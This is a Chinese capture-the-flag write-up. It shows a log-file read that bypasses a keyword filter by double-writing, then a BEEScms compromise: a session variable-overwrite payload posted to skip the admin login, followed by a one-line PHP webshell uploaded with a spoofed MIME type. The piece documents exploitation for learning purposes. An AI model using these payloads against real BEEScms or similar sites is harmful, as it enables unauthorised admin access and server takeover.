提示我们flag就在日志文件里,并且是nginx服务;然后过滤了log,我们直接双写绕过
payload
?path=/var/llogog/nginx/access.llogog

考点:BEEscms漏洞
打开题目,发现是BEEScms
去网上找一下相关文章,发现有后台登陆,文件上传等漏洞
扫一下目录,扫出登录地址
结果发现验证码显示不出来(开始以为题目问题)
然后就继续找文章,发现存在变量覆盖拿到admin用户的漏洞
BEEScms的includes/init.php部分源码
session_start();
if (isset($_REQUEST)){$_REQUEST = fl_value($_REQUEST);}
$_COOKIE = fl_value($_COOKIE);
$_GET = fl_value($_GET);
@extract($_POST);
@extract($_GET);
@extract($_COOKIE);
先设置了session_start(),创建会话。判断是否有输入来设置了cookie,fl_value进行一些简单的过滤,使用request设置cookie,$_GET = fl_value($_GET);来过滤get请求的内容,但是没有过滤post请求,后面还都通过@extract()来引入变量,进行变量的覆盖操作,那么这样就可以post方法传递session。二者配合构造session来绕过登录限制
payload如下
_SESSION[login_in]=1&_SESSION[admin]=1_SESSION[login_time]=100000000000000000000000000000000000
在下面这个页面POST传参

传参完后直接访问./admin或者是./admin/admin.php成功getshell
然后找到存在文件上传漏洞的界面
这里会检测MIME,我们上传一句话木马后bp抓包,修改MIME即可绕过
结果这里不知道上传到哪了。。
换了个解法,直接访问./admin/upload.php

和刚刚一样上传一句话木马修改MIME
然后知道上传路径为/img/.php,访问得到flag
